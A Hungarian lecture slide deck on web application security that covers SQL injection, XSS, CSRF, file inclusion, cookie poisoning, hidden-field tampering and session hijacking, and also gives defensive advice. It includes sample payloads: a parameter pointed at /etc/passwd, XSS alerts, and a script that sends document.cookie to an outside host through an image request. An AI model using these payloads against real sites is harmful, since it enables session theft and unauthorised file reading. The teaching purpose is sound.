Weboldalak Biztonsági Kérdései



Hasonló dokumentumok
Webapp (in)security. Gyakori hibákról és azok kivédéséről fejlesztőknek és üzemeltetőknek egyaránt. Veres-Szentkirályi András

Webes alkalmazások fejlesztése 1. előadás. Webes alkalmazások és biztonságuk

Gflimited. A Megállapodás és a feladat. - Belső elkülönített hálózat kialakítása és monitorozása üzemeltetése.

Weboldalak biztonsága

Webes alkalmazások fejlesztése 1. előadás. Webes alkalmazások és biztonságuk. Cserép Máté

BackupPC. Az /etc/hosts fájlba betehetjük a hosztokat, ha nem a tejles (fqdn, DNS név) névvel hivatkozunk rájuk: # /etc/hosts #

API tervezése mobil környezetbe. gyakorlat

Jelszavas hozzáférés korlátozás

Dr. Pál László, Sapientia EMTE, Csíkszereda WEB PROGRAMOZÁS 5.ELŐADÁS. Sütik és munkamenetek kezelése

Internet technológiák

Silent Signal Kft. Webáruházak informatikai biztonsága Veres-Szentkirályi András Marketingtorta - 4 1

WEBFEJLESZTÉS 2. MUNKAMENET-KEZELÉS, HITELESÍTÉS

Adatbázisok elleni fenyegetések rendszerezése. Fleiner Rita BMF/NIK Robothadviselés 2009

ADATKEZELÉSI SZABÁLYZAT KIVONATA

Gyimesi István fejlesztési vezető Cardinal Számítástechnikai Kft.

IBM Rational AppScan. IBM Software Group. Preisinger Balázs Rational termékmenedzser

IT hálózat biztonság. Hálózati támadások

Csoport neve: Kisiskolások Feladat sorszáma: 2. Feladat címe: Oktatási intézmény honlapja, oktatási naplóval. E-Project.

web works hungary Rövid technikai tájékoztató Mars (mars.intelliweb.hu) szerverünkkel kapcsolatban meglévő és új ügyfeleink számára.

Drupal biztonság. Tuesday, April 3, 12

Sütik kezelése (cookie)

8. óra Weboldalak biztonsága. Gyimesi Ákos

Heppen Szolgáltató Kft. Adatkezelési tájékoztató a weboldalon elhelyezett sütik használatáról

1. Bevezető. 2. Sérülékenységek

NGFW + IPS + anti-apt + BYOD = Sophos UTM 9.2

Cookie-k használatának irányelve

Elektronikus levelek. Az informatikai biztonság alapjai II.

Webes alkalmazások fejlesztése

Miért ASP.NET? Egyszerű webes alkalmazás fejlesztése. Történet ASP ASP.NET. Működés. Készítette: Simon Nándor

Készítette: Gál Tamás. A tananyag programozott változata itt érhető el: Webfejlesztés

WEB PROGRAMOZÁS 3.ELŐADÁS. Űrlapok

Felhasználói kézikönyv

WEBFEJLESZTÉS 2. ADATBÁZIS-KEZELÉS, OSZTÁLYOK

A tér, ami megtérül...

Dr. Pál László, Sapientia EMTE, Csíkszereda WEB PROGRAMOZÁS 6.ELŐADÁS. Fájlkezelés PHP-ben

Kiszolgálók üzemeltetése. Iványi Péter

PHP-MySQL. Adatbázisok gyakorlat

COOKIE KEZELÉSI TÁJÉKOZTATÓ. A HTTP-cookie (köznyelvben csak cookie, vagy süti) egy olyan fájl, (egy adatsor)

Bevezető. Az informatikai biztonság alapjai II.

Webtárhely létrehozása a helyen. Lépések Teendő 1. Böngészőbe beírni: 2. Jobb oldalon regisztrálni (tárhelyigénylés).

PHP alapjai, bevezetés. Vincze Dávid Miskolci Egyetem, IIT

DRUPAL 7. újdonságai. Hojtsy Gábor Drupal Hétvége, Budapest november 14. Angela Byron fóliái alapján

Adatbázisok biztonsága. Biztonságtervezési stratégiák Biztonságos kommunikáció. Statisztikai adatok védelme

Mai program. Web Technológiák. Webalkalmazások. Webalkalmazás, mint UI

Adatvédelmi nyilatkozat

SZÁMÍTÓGÉPES ADATBÁZIS-KEZELÉS. A MySQL adatbáziskezelő PHP folytatás JDBC, ODBC

INFORMATIKAI PROJEKTELLENŐR 30 MB DOMBORA SÁNDOR ADATBÁZISOK ÉS STATISZTIKAI ADATOK VÉDELME MMK- Informatikai projektellenőr képzés

Milyen sütiket és mire használ az OTP Bank?

SÜTISZABÁLYZAT. Pontok

Példa webáruház kialakítás rendszerdokumentáció

BALLA és TÁRSA Kereskedelmi és Szolgáltató Korlátolt Felelősségű Társaság

A Http és a PHP kapcsolata. Web-Sky Consulting Kft Tóth Imre 2009

COMET webalkalmazás fejlesztés. Tóth Ádám Jasmin Media Group

Biztonságos PHP a gyakorlatban

ECDL Információ és kommunikáció

8. Hálózatbiztonsági alapok. CCNA Discovery 1 8. fejezet Hálózatbiztonsági alapok

Egészítsük ki a Drupal-t. Drupal modul fejlesztés

Webes űrlapok és az XForms ajánlás

MicroSigner Közvetítő Szerver fejlesztői dokumentáció

Biztonságos mobilalkalmazás-fejlesztés a gyakorlatban. A CryptTalk fejlesztése során alkalmazott módszerek. Dr. Barabás Péter Arenim Technologies

JSF alkalmazások teljesítményhangolása JMeter és dynatrace segítségével

Web service fenyegetések e- közigazgatási. IT biztonsági tanácsadó

Webleltár rendszer. Készítette: ABACOM Kft november. Abacom Kft.

Webes alkalmazások fejlesztése 6. előadás. Állapotfenntartás (ASP.NET) 2015 Giachetta Roberto

Ingyenes DDNS beállítása MAZi DVR/NVR/IP eszközökön

Tájékoztató és szabályzat a sütik alkalmazásáról. (A dokumentum letöltése: ITT)

WWW Kliens-szerver Alapfogalmak Technológiák Terv. Web programozás 1 / 31

Windows hálózati adminisztráció segédlet a gyakorlati órákhoz

LINUX LDAP címtár. Mi a címtár?

Web programoz as

web works hungary Rövid technikai tájékoztató a webhosting szolgáltatásról. (PLESK szerver)

Multimédia 2017/2018 II.

Adat és Információvédelmi Mesteriskola 30 MB. Dr. Gyányi Sándor FELHASZNÁLÓI ESZKÖZÖK ÉS ALKALMAZÁSOK BIZTONSÁGA I

Adja meg, hogy ebben az esetben mely handshake üzenetek kerülnek átvitelre, és vázlatosan adja meg azok tartalmát! (8p)

Albacomp RI Rendszerintegrációs Kft Székesfehérvár, Mártírok útja 9. E K O P - 1. A. 2 - A D A T Á L L O M Á N Y O K

SQLi és XSS sérülékenységek

ALKALMAZÁSOK ISMERTETÉSE

DSD DSD. Egy országos méretű orvosi adatbázissal kapcsolatos informatikai kihívások. Kovács László Pataki Balázs Pataki Máté MTA SZTAKI DSD

Digitális aláíró program telepítése az ERA rendszeren

1 Mit értünk cookie, böngésző helyi tárolás ("cookie és hasonló technológia") alatt?

MVC. Model View Controller

Az Orbis adatbáziskezelő

HVK Adminisztrátori használati útmutató

8. WebDAV kiszolgáló konfigurálása

Elektronikus Információs és Nyilvántartási Rendszer a Doktori Iskolák fiatal kutatói részére

MVC Java EE Java EE Kliensek JavaBeanek Java EE komponensek Web-alkalmazások Fejlesztői környezet. Java Web technológiák

Hálózati architektúrák és Protokollok GI Kocsis Gergely

Java Servlet technológia

Baár-Madas Elektronikus Tanúsítvány

Földmérési és Távérzékelési Intézet

Gyakorlati vizsgatevékenység B

Az Educatio weboldalain elhelyezhető hirdetések technikai paraméterei

Személyes adatok védelmi alapelvei

WEBSZERKESZTÉS ELMÉLETI VIZSGAKÉRDÉSEK

Hálózati operációs rendszerek II.

XSS férgek és vírusok

Webes alkalmazások fejlesztése 7. előadás. Autentikáció és autorizáció (ASP.NET Core) Cserép Máté

ALAP BEÁLLÍTÁSOK. 1. Jogosultság megadás, hogy tudjunk dolgozni sudo s jelszó:xxxxxx. 2.Hálózati kártyák beállítása mcedit /etc/network/interfaces

Tájékoztató és szabályzat a sütik alkalmazásáról. (Tájékoztató letöltése ITT)

Átírás:

Weboldalak Biztonsági Kérdései

Kliens szerver modellek

Kliens szerver modellek Offline világ Online világ és a programokkal szemben támasztott elvárások helyett... Fejlesztés üteme gyors Előregyártott elemek használata ismert hibákat eredményez az alkalmazásban

Támadási formák SQL Injection XSS - Cross Site Scripting (Perzisztens és nem perzisztens) CSRF - Cross-Site Request Forgeries Smuggling (SQL Smuggling, XSS Smuggling, stb.) HTTP header injection SQL Column Truncation (MySql max_packet_size 1M) LFI és RFI (Locale és Remote File Include ) DoS, DDoS (Denial of Service, Distributed Denial of Service) Brute Force (viharszerű támadások) Social Engineering/Aranymosás

Aranymosás Információ gyűjtése a weblapról HTML beágyazott megjegyzések HTML kódban elhelyezett adatok Szerver oldali hibaüzenetek Hibás bemenetek ellenőrzése Alkalmazás hibaüzenetei

Alkalmazások Webturkálók BlackWindow Wget WebProxi programok IEHTTPHeaders, Paros Mindenképpen készíteni kell hozzá webtérképet, majd a forráskódot vizsgáljuk. + az oldalak közti átküldött adatokat Hasznosak az URL-be ágyazott jelek utáni adatok &?...

Hibás adatbázis kapcsolatok Beviteli mezők tesztelése Hibajelzések összehasonlítása Helyes user-név kitalálása Jelszó adatok felfedése

Adatbázisok Amit lehet, bízzunk az adatbázis motorra Ellenőrzések: triggerek használata Jogosultságok, hozzáférések használata Lekérdezések: tárolt eljárások, view-k használata. Lekérdezések számának csökkentése: join használata. Megfelelő adattípusok használata. A jelszót ne tároljuk kódolatlanul (md5, crypt,...)

Fájlok és könyvtárak felfedése Fájlok neveinek kitalálása régebbi, vagy publikus adatokból: pl.: fizetesek2009.php fizetesek2010.php Idefens Session ID Auditor Rész-webhelyek megtalálása URL átugrás begépelt látogatott URL megjegyzése...

Mintaalkalmazások CMS? Webmotorok hibáinak kihasználása: Közösségi portálok látogatása Hiba felderítése fórumokon, stb... Védekezés módja: Közösségi portálok látogatása... Hiba felderítése fórumokon, stb...

Mintaalkalmazások CMS?

Védekezés A szerver konfigurációjában letiltjuk az egyéb fájlok futtatását.htaccess AuthName admin pages AuthType Basic AuthUserFile /path/path/.htpasswd Require valid-user Majd a htpasswd segítségével user előállításal #htpasswd -cm.htpasswd username

Korlátozások felüldefiniálása (1) Beviteli mezők (kliens oldalon) átírása Bevihető karakterek száma MAXLENGTH = E Vezérlők azonosítása (2) Vezérlő felüldefiniálás (3) Elküldött adatok módosításával A lenyíló listák rendezéskor, filtereknél - - módosulnak, ezek figyelhetőek (Paros) - módosíthatjuk pl az adatokat menet közben.

Állapot alapú támadás Session, adattárolás a programban szerver oldalon adatbázisban, vagy URL/Session-ben Sajátos állapotnélküliség a weben. A tárolásról a programozó gondoskodik. Az adatokat az oldalak közt át kell adni pl.: űrlap, URL

Alkalmazások Webturkálók BlackWindow Wget WebProxi programok IEHTTPHeaders, Paros Mindenképpen készíteni kell hozzá webtérképet, majd a forráskódot vizsgáljuk. + az oldalak közti átküldött adatokat Hasznosak az URL-be ágyazott jelek utáni adatok &?...

Rejtett mezők felfedése Input type hidden... GET, POST, FILES tömbök a session-ben <input type=hidden name=id value=1223> Forrás vizsgálatával, vagy böngésző Dokumentobject modelljének vizsgálatával felderíthető PL ár, érték, stb mezők módosítása lehetségessé válik

Korlátozások felüldefiniálása (1) Beviteli mezők (kliens oldalon) átírása Bevihető karakterek száma MAXLENGTH = E Vezérlők azonosítása (2) Vezérlő felüldefiniálás (3) Elküldött adatok módosításával A lenyíló listák rendezéskor, filtereknél - - módosulnak, ezek figyelhetőek (Paros) - módosíthatjuk pl az adatokat menet közben.

CGI paraméterek http://szerver.oldal.hu/index.php?d=12&oldal=a.tst index.php?oldal=egy.php átírva index.php?oldal=/etc/passwd include $oldal ;... include $_GET[ oldal ];... Védekezés: GET helyett ha lehet POST, valamint ellenőrizzük az adatokat a szerver oldalon is.

Sütimérgezés Persistent sütik (állandó) Nonpersistent (nem megmaradó) Secure (biztonsági) Nonsecure (nem biztonsági) Secure nem a süti, hanem a böngésző üzemmódja a süti hatására:https HTTP SSL A süti egy idő után elévül...

Sütik Helyük Firefox vagy Netscape esetén: cookies.txt A cookie átírásával meg lehet oldani, hogy az egyes oldalakat átugorva pl a fizetést kihagyva az áru átvételéhez ugorjunk... Szükséges a webalkalmazás ismerete... Oldaltérkép Fájlinformáció

Alkalmazás/védelem Véletlenszerű, böngészési archívum begépelése (A sütiben tárolt sorrendinformáció kikerülése) Védekezés: Rejtett mezők, vagy CGI paraméterekben tároljuk az URL-eket. Sütik, melyek az utolső látogatott oldalt őrzik és jegyzik HTTP-REFEERER mező és a kiindulási hely összehasonlítása Oldalak megtekintésének sorrendjét figyelni kell

Munkamenet eltérítése Session hijacking Ki kell cserélni a munkamenet azonosítót Véletlenszerű módosítással Sorozatok kitalálásával Más userek azonosítójának elfogásával Sokszor a munkamenet azonosítót sütiben tárolják... Gyakori munkamenet nevek: ASPSESSIONID JSESSIONID, PHPSESSID, CFID, CFTOKEN,...

CGI session azonosítók url/?valami&sid=1212r124r5672516745 Elfogáshoz jó a webes levelzők feltörése. Session id-k kiolvasása a válaszlevelkből (nem titkosak, mivel csak a fizetésre szólítanak fel...) Lényege, hogy más nevében (session-jével) operálunk a webhelyen...

Felhasználó adatainak támadása Idegen parancsok végrehajtása cross site scripting Webheky űrlap, vagy URL mezőjébe parancsfájlok, utasítások elrejtése A felhasználó bejelentkezik, majd a saját jogaival lefutattja a parancsokat. <script>alert( XSS alert! )</script> <img src=javascript:alert( XSS Alert! )> <script>alert(document.cookie)</script> Minden elem sebezhető, mely támogatja a STYLE, SRC, OBJECT, TYPE mezőket...

Képek scriptelése Képet helyezünk el egy oldalon. A kép egy másik webhelyre hivatkozik (hacker gépe) Elhelyezünk benne egy 1x1-es átlátszó gifet. Ezt a user nem veszi észre, de a szerveren, ahova a link mutat, megjelenik a munkamenet azonosítója hibaüzenetként a logban. Erre lehet keresni a kép neve alapján...benne lesz az azonosítója <script>document.write( <img src=site.com/p.gif? cookie= +document.cookie> )</script>

Védekezés (miért nem)? Tájékozatlanság Prioritások: biztonság, sebesség, határidő, költség,... Át kell gondolni a támadások lehetséges módjait Az alapelveket be kell tartani A helyes programozói gyakorlat sokat javít a biztonságon.